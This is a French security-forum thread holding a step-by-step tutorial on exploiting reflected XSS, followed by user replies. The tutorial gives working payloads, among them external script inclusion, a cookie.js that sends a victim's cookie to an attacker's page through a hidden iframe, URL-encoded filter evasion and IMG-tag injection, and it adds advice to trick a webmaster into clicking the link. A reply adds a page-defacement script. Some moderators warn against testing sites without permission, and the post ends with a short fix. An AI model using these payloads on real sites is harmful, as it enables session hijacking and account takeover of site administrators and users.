Comment est exploitée une faille XSS
|
28-01-2007, 01h31
(Modification du message : 04-03-2013, 14h11 par supersnail.)
Message : #1
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 157 Inscription : Jan 2012 |
Comment est exploitée une faille XSS
Je vais inclure ce tuto dans les articles du site au courant de la semaine et essayer d'en composer sur une base régulière. Ça fait longtemps que j'y pensais, alors le voici en exclusivité sur PN.
Premièrement, le nom XSS vient de l’acronyme 'Cross Site Scripting' et non CSS qui peut porter à confusion avec 'Cascading Style Sheet' qui se trouve à être quelque chose de complètement différent. Dans ce tuto, je vais vous expliquer comment une exploitation de cette faille peut être réalisée par une personne malveillante pour lui permette de recevoir par email le cookie du webmaster. Comment reconnaître une faille XSS et comment elle se produit. On analyse l’URL 'Uniform Resource Locator' (Adresse internet) qui peut nous donner plusieurs informations sur la façon dont les variables sont passées de page en page. Pour quelqu'un qui connaît beaucoup le codage web, c’est une très bonne façon d’imaginer comment la page est codée. Voici un exemple d’URL qui pourrait être vulnérable. Code : http://www.lesite.com/index.php?var=pseudo&mod=1&... Vous avez sûrement déjà remarqué des adresses longues d’un mètre, pleines d’information… Dans ce cas si, remarquez l’expression (var=pseudo). Mais qu'est-ce que ça veut dire? Simplement que la variable ici appelée (var) va porter la valeur (pseudo). Pour récupérer cette variable, le webmaster utilise ($_GET[var]). L’erreur qui provoque la faille XSS est que si cette variable est directement affichée dans la page sans être filtrée, on peut l’utiliser pour passer du code JavaScript directement dans la page. Pour savoir si une variable est vulnérable, il faut d’abord la tester. La façon la plus simple, c’est de générer une alerte javascript. Code : http://www.lesite.com/index.php?var=<script>alert()</script>&mod=1&... Si vous voyez une boite d’alerte s’ouvrir, c’est que le site est vulnérable.* Comment exploiter la faille XSS Maintenant que nous savons que le site en question ne filtre pas les caractères de programmation avant d'inclure la variable dans sa page, nous pouvons en profiter pour passer aux choses sérieuses. Puisque les caractères passés dans l’URL sont limités en nombres, nous devrons procéder à l’inclusion d’une page .js afin de pouvoir inclure tout notre codage sans limitation. Voici donc à quoi cela ressemblerait. Code : http://www.lesite.com/index.php?var=<SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>&mod=1&... C’est ici que la plus part des tuto arrête. Mais aujourd’hui, nous allons pousser le sujet plus loin et se rendre jusqu’à l’exploitation complète de la faille. Afin de pouvoir recevoir le cookie par courriel, nous devons réussir à fabriquer un codage qui va ouvrir une page de façon parallèle et qui contient comme variable le cookie en question. Dans le fichier cookie.js, nous allons ouvrire un IFRAME qui inclura en variable le cookie de la personne. Voici le codage. Code : document.write('<iframe src=http://tonsite.com/cookie.php?cookie='+document.cookie+' HEIGHT=0 WIDTH=0></iframe>'); Ce codage va envoyer à cookie.php la variable (cookie) qui elle contient la valeur du cookie de la personne qui va cliquer sur le lien. Il nous reste simplement à créé le codage qui va récupérer tout ça et nous l’envoyer par email. Dans le fichier cookie.php, le code va ressembler à ceci. Code PHP : <?php Bien entendu, vous pouvez en profiter pour vous envoyer quelques informations supplémentaires sur la personne comme sont adresse IP qui peut toujours servirent pour d'autres sortes d'attaque. Maintenant que nous avons tout mis en place, il ne vous reste plus qu'a utiliser un peut de SE (Social Engineering) Afin de demander au webmaster de bien gentiment cliquer sur le lien trafiqué. Pour cacher un peut le code malicieux, vous prouvez utiliser un encodeur URL. Le résultat ressemblerait à ceci : Code : http://www.lesite.com/index.php?var=%3CSCRIPT%2520SRC%3Dhttp%3A%2F%2Fx-hc.com%2F11.js%3E%3C%2FSCRIPT%3E&mod=1&... Ceci peut également déjouer certain système de filtration et c'est un peu moins évident à deviner ... quoi que toujours un peut visible ... Pousser plus loin... Il existe énormément de place différente ou les failles XSS peuvent se produire. Plus récemment, plusieurs CMS se sont trouvés vulnérables au niveau des avatars et des inclusions d'images dans les messages en utilisant la balise IMG comme couverture. Code : <IMG SRC="javascript:alert();"> Ou simplement fermer la balise IMG et poursuivre avec le code JS Code : "><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT> Ce qui donnerait dans la source HTML Code : <IMG SRC=""><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT> Ce protégé Désormais, ayant vu l'exploitation qui peut en être faite, voici la sécurisation de cette faille : Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. (qui lui est inutile). Soyez intelligent et restez WhiteHat! Par CyberSee |
|
28-01-2007, 12h32
(Modification du message : 17-10-2011, 23h45 par Di0Sasm.)
Message : #2
|
|
julian
Bon membre Messages : 386 Sujets : 11 Points: 0 Inscription : Oct 2005 |
Comment exploiter une faille XSS
Très bon tutos
|
|
03-06-2011, 03h09
(Modification du message : 17-10-2011, 23h46 par Di0Sasm.)
Message : #3
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 157 Inscription : Jan 2012 |
Comment exploiter une faille XSS
Merci :-)
Je vais essayer de vous en pondre au moins 1 par semaine ... quoique si je peux en faire plus, ça va me faire plaisir :-). J'ai l'intention de faire le tour de toutes mes connaissances à l'écrit. Je me rends compte que j’ai accumulé beaucoup de bagage avec le temps. C’est moche d’avoir tout perdu ceux que j’ai composés pour NewbieCenter … :-( |
|
23-04-2012, 11h55
Message : #4
|
|
Apache9
Membre Messages : 39 Sujets : 4 Points: 1 Inscription : Apr 2012 |
RE: Comment exploiter une faille XSS
Merci très bon tutoriel, par contre je reçois le mail 5 par 5 normale ? ^^ Par exemple je lance l'exploit et après je reçois 5 fois le mail "Exploitation XSS".
|
|
23-04-2012, 22h46
(Modification du message : 06-05-2012, 14h54 par ﮎyиthﮎtyℓє.)
Message : #5
|
|
ﮎyиthﮎtyℓє
Membre Messages : 32 Sujets : 6 Points: 16 Inscription : Mar 2012 |
RE: Comment exploiter une faille XSS
parce-que le code et afficher à plusieurs endroit sur ta page.
btw Code : <script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>pwnd</h1></div>";</script> |
|
30-05-2012, 23h34
Message : #6
|
|
...:: BliNK ::... Non-enregistré |
RE: Comment exploiter une faille XSS
Merci, très beau tutoriel !
|
|
10-06-2012, 17h26
Message : #7
|
|
ThibauT
Keyboard not found, press F1 to resume. Messages : 348 Sujets : 6 Points: 69 Inscription : Jun 2012 |
RE: Comment exploiter une faille XSS
J'aime tes tutoriels. Ils expliquent simplement des choses qui ne le sont pas forcément.
Martin Golding a écrit :"Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live." Gnomino a écrit :et quand je suis payé je fais ce qu'on me demande :B |
|
29-06-2012, 19h56
Message : #8
|
|
hydegollam
Newbie Messages : 16 Sujets : 1 Points: 0 Inscription : Jun 2012 |
RE: Comment exploiter une faille XSS
Malin le coup des images d'avatar ou du BBcode !
Merci bien pour le tuto |
|
20-08-2012, 10h18
Message : #9
|
|
spgb
Membre Messages : 37 Sujets : 1 Points: 0 Inscription : Aug 2012 |
RE: Comment exploiter une faille XSS
Bon tutoriel, merci, j'avais déjà lu d'autres tutoriel du genre mais le tiens va effectivement plus loin
|
|
17-10-2012, 09h18
Message : #10
|
|
InstinctHack
Posting Freak Messages : 1,366 Sujets : 184 Points: 299 Inscription : Dec 2011 |
RE: Comment exploiter une faille XSS
Bon tuto, il manque seulement la correction de cette faille qui est simple :
Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!" |
|
27-10-2012, 17h53
Message : #11
|
|
Quintinou Non-enregistré |
RE: Comment exploiter une faille XSS
J'ai essayé sur un site, mais pas de boîte de dialogue ouverte Mais, une erreur sql : Erreur:
Code : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') blabla... Ca sent la faille sql à plein nez, nan ? Les outils tel sqlmap permettent je pense de détecter ce type de faille, mais laisse de nombreuses traces de requêtes si je ne me trompe pas ? |
|
28-10-2012, 09h51
Message : #12
|
|
supersnail
Éleveur d'ornithorynques Messages : 1,609 Sujets : 71 Points: 465 Inscription : Jan 2012 |
RE: Comment exploiter une faille XSS
Uep, ça laisse pas mal de traces.
Sinon, évite de faire du pentest sauvage sur des sites au hasard parce qu'en plus de pas trop être dans l'esprit de la communauté, tu risques pas mal d'ennuis si l'admin du site est un poil susceptible (il peut t'attaquer pour intrusion, même si t'as pas de motivations malveillantes) btw @CyberSee, ce serait cool si tu pouvais edit le tuto pour éviter d'inciter les débutants à faire du pentest sauvage
Mon blog
Code : push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp "VIM est merveilleux" © supersnail |
|
28-10-2012, 14h32
Message : #13
|
|
Quintinou Non-enregistré |
RE: Comment exploiter une faille XSS
Hello,
Qui a dit que j'ai fait du pentest sauvage ? Je n'ai rien fait du tout pour l'instant, à part modifier l'url pour tester la sécurité, et j'suis tomber sur une erreur sql, rien de plus |
|
28-10-2012, 14h38
Message : #14
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: Comment exploiter une faille XSS
JUstement si tu as modifié l'url pour tester la sécu sans en avoir préalablement averti le webmaster c'est du Pentest Sauvage
|
|
31-12-2012, 13h17
Message : #15
|
|
Wabouz
Membre actif Messages : 96 Sujets : 8 Points: 16 Inscription : Nov 2012 |
RE: Comment exploiter une faille XSS
À quoi correspond le fichier cookie.js?
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
|
|
« Sujet précédent | Sujet suivant »
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Comment exploiter une faille SQL Injection | CyberSee | 33 | 3,458 |
22-09-2015, 21h53 Dernier message: CyberSee |
|
[Tuto]Faille CRLF | OverDreams | 15 | 1,241 |
18-06-2013, 12h33 Dernier message: Hypnoze57 |
|
[Faille WEB] LFI | Swissky | 10 | 852 |
25-02-2013, 22h04 Dernier message: InstinctHack |
|
[Faille Web] Full Path Disclosure | Swissky | 4 | 565 |
07-12-2012, 08h52 Dernier message: Shirobi |
|
Comment utiliser Metasploit | EpicOut | 4 | 417 |
15-09-2012, 20h47 Dernier message: Swissky |
|
Comment fonctionne les attaques de type IP-Spoofing | Apophis | 4 | 602 |
18-02-2007, 12h38 Dernier message: shutdownfuri |
Utilisateur(s) parcourant ce sujet : 3 visiteur(s)